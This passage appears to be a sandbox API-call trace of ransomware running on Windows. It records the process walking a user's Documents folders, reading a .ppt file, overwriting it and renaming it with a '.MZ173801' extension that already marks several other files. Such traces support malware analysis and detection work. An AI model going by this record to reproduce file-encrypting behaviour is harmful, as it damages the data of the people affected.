ftLastWriteTime.dwHighDateTime=0x1d5dca2, nFileSizeHigh=0x0, nFileSizeLow=0xc429, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="osw2Nhv0uI-g.ppt", cAlternateFileName="OSW2NH~1.PPT")) returned 1 [0124.991] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0124.991] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0124.991] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\VS9E98FuPzAd\\osw2Nhv0uI-g.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\vs9e98fupzad\\osw2nhv0ui-g.ppt"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb827e8a0, ftCreationTime.dwHighDateTime=0x1d5dbe3, ftLastAccessTime.dwLowDateTime=0xfc398b60, ftLastAccessTime.dwHighDateTime=0x1d5dca2, ftLastWriteTime.dwLowDateTime=0xfc398b60, ftLastWriteTime.dwHighDateTime=0x1d5dca2, nFileSizeHigh=0x0, nFileSizeLow=0xc429)) returned 1 [0124.993] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.993] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.994] GetCurrentThreadId () returned 0x9fc [0124.994] GetCurrentThreadId () returned 0x9fc [0124.994] GetCurrentThreadId () returned 0x9fc [0124.995] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0124.995] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0124.995] GetCurrentThreadId () returned 0x9fc [0124.995] GetCurrentThreadId () returned 0x9fc [0124.995] GetCurrentThreadId () returned 0x9fc [0124.995] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\VS9E98FuPzAd\\osw2Nhv0uI-g.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\vs9e98fupzad\\osw2nhv0ui-g.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x298 [0124.995] SetFilePointer (in: hFile=0x298, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0124.996] SetFilePointer (in: hFile=0x298, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0124.996] SetFilePointer (in: hFile=0x298, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0xc429 [0124.996] SetFilePointer (in: hFile=0x298, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0124.996] ReadFile (in: hFile=0x298, lpBuffer=0x714510, nNumberOfBytesToRead=0xc429, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0xc429, lpOverlapped=0x0) returned 1 [0124.997] CloseHandle (hObject=0x298) returned 1 [0124.998] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\VS9E98FuPzAd\\osw2Nhv0uI-g.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\vs9e98fupzad\\osw2nhv0ui-g.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x298 [0125.000] WriteFile (in: hFile=0x298, lpBuffer=0x722540*, nNumberOfBytesToWrite=0xc429, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x722540*, lpNumberOfBytesWritten=0x18f404*=0xc429, lpOverlapped=0x0) returned 1 [0125.002] CloseHandle (hObject=0x298) returned 1 [0125.002] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\VS9E98FuPzAd\\osw2Nhv0uI-g.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\vs9e98fupzad\\osw2nhv0ui-g.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\VS9E98FuPzAd\\osw2Nhv0uI-g.ppt.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\vs9e98fupzad\\osw2nhv0ui-g.ppt.mz173801")) returned 1 [0125.002] GetCurrentThreadId () returned 0x9fc [0125.003] GetCurrentThreadId () returned 0x9fc [0125.003] GetCurrentThreadId () returned 0x9fc [0125.003] GetCurrentThreadId () returned 0x9fc [0125.003] GetCurrentThreadId () returned 0x9fc [0125.003] GetCurrentThreadId () returned 0x9fc [0125.003] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb827e8a0, ftCreationTime.dwHighDateTime=0x1d5dbe3, ftLastAccessTime.dwLowDateTime=0xfc398b60, ftLastAccessTime.dwHighDateTime=0x1d5dca2, ftLastWriteTime.dwLowDateTime=0xfc398b60, ftLastWriteTime.dwHighDateTime=0x1d5dca2, nFileSizeHigh=0x0, nFileSizeLow=0xc429, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="osw2Nhv0uI-g.ppt", cAlternateFileName="OSW2NH~1.PPT")) returned 0 [0125.003] GetLastError () returned 0x12 [0125.003] FindClose (in: hFindFile=0x2fc700 | out: hFindFile=0x2fc700) returned 1 [0125.003] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\VS9E98FuPzAd\\*.*", lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcfb4a230, ftCreationTime.dwHighDateTime=0x1d5e12c, ftLastAccessTime.dwLowDateTime=0x9b5c0b60, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x9b5c0b60, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName=".", cAlternateFileName="")) returned 0x2fc700 [0125.003] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a8 | out: lpLocalFileTime=0x18f4a8) returned 1 [0125.003] FileTimeToDosDateTime (in: lpFileTime=0x18f4a8, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0125.003] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcfb4a230, ftCreationTime.dwHighDateTime=0x1d5e12c, ftLastAccessTime.dwLowDateTime=0x9b5c0b60, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x9b5c0b60, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="..", cAlternateFileName="")) returned 1 [0125.003] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0125.003] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0125.003] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5127f0, ftCreationTime.dwHighDateTime=0x1d5e613, ftLastAccessTime.dwLowDateTime=0x3bb50d00, ftLastAccessTime.dwHighDateTime=0x1d5e69e, ftLastWriteTime.dwLowDateTime=0x9b54e740, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x13ffe, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="13nJq0p.xlsx.MZ173801", cAlternateFileName="13NJQ0~1.MZ1")) returned 1 [0125.003] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0125.003] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0125.003] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97b662a0, ftCreationTime.dwHighDateTime=0x1d5dcc8, ftLastAccessTime.dwLowDateTime=0xc29b8280, ftLastAccessTime.dwHighDateTime=0x1d5e6b8, ftLastWriteTime.dwLowDateTime=0xc29b8280, ftLastWriteTime.dwHighDateTime=0x1d5e6b8, nFileSizeHigh=0x0, nFileSizeLow=0xf809, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="dxtxj-CI.odp", cAlternateFileName="")) returned 1 [0125.003] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0125.003] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0125.003] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b3e0e10, ftCreationTime.dwHighDateTime=0x1d5e4b0, ftLastAccessTime.dwLowDateTime=0x8c371da0, ftLastAccessTime.dwHighDateTime=0x1d5d860, ftLastWriteTime.dwLowDateTime=0x9b5748a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x7877, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="I2Gqc.pdf.MZ173801", cAlternateFileName="I2GQCP~1.MZ1")) returned 1 [0125.003] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0125.004] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0125.004] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36e6620, ftCreationTime.dwHighDateTime=0x1d5da60, ftLastAccessTime.dwLowDateTime=0x1f58cda0, ftLastAccessTime.dwHighDateTime=0x1d5dbfd, ftLastWriteTime.dwLowDateTime=0x9b59aa00, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xc68d, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="l06dSkIuNpZzb6PM.docx.MZ173801", cAlternateFileName="L06DSK~1.MZ1")) returned 1 [0125.004] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0125.004] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0125.004] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb827e8a0, ftCreationTime.dwHighDateTime=0x1d5dbe3, ftLastAccessTime.dwLowDateTime=0xfc398b60, ftLastAccessTime.dwHighDateTime=0x1d5dca2, ftLastWriteTime.dwLowDateTime=0x9b5c0b60, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xc429, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="osw2Nhv0uI-g.ppt.MZ173801", cAlternateFileName="OSW2NH~1.MZ1")) returned 1 [0125.004] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0125.004] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0125.004] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb827e8a0, ftCreationTime.dwHighDateTime=0x1d5dbe3, ftLastAccessTime.dwLowDateTime=0xfc398b60, ftLastAccessTime.dwHighDateTime=0x1d5dca2, ftLastWriteTime.dwLowDateTime=0x9b5c0b60, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xc429, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="osw2Nhv0uI-g.ppt.MZ173801", cAlternateFileName="OSW2NH~1.MZ1")) returned 0 [0125.004] GetLastError () returned 0x12 [0125.004] FindClose (in: hFindFile=0x2fc700 | out: hFindFile=0x2fc700) returned 1 [0125.004] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc0f500, ftCreationTime.dwHighDateTime=0x1d5d974, ftLastAccessTime.dwLowDateTime=0x2b611210, ftLastAccessTime.dwHighDateTime=0x1d5e1c0, ftLastWriteTime.dwLowDateTime=0x2b611210, ftLastWriteTime.dwHighDateTime=0x1d5e1c0, nFileSizeHigh=0x0, nFileSizeLow=0x45a1, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="WgTFso5.odt", cAlternateFileName="")) returned 1 [0125.004] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0125.004] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0125.004] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2d0c4c0, ftCreationTime.dwHighDateTime=0x1d5d9fe, ftLastAccessTime.dwLowDateTime=0x512b5780, ftLastAccessTime.dwHighDateTime=0x1d5e535, ftLastWriteTime.dwLowDateTime=0x512b5780, ftLastWriteTime.dwHighDateTime=0x1d5e535, nFileSizeHigh=0x0, nFileSizeLow=0x15791, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="_QGlcVYKYQv4WkAR3e5.odp", cAlternateFileName="_QGLCV~1.ODP")) returned 1 [0125.004] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0125.004] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0125.004] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2d0c4c0, ftCreationTime.dwHighDateTime=0x1d5d9fe, ftLastAccessTime.dwLowDateTime=0x512b5780, ftLastAccessTime.dwHighDateTime=0x1d5e535, ftLastWriteTime.dwLowDateTime=0x512b5780, 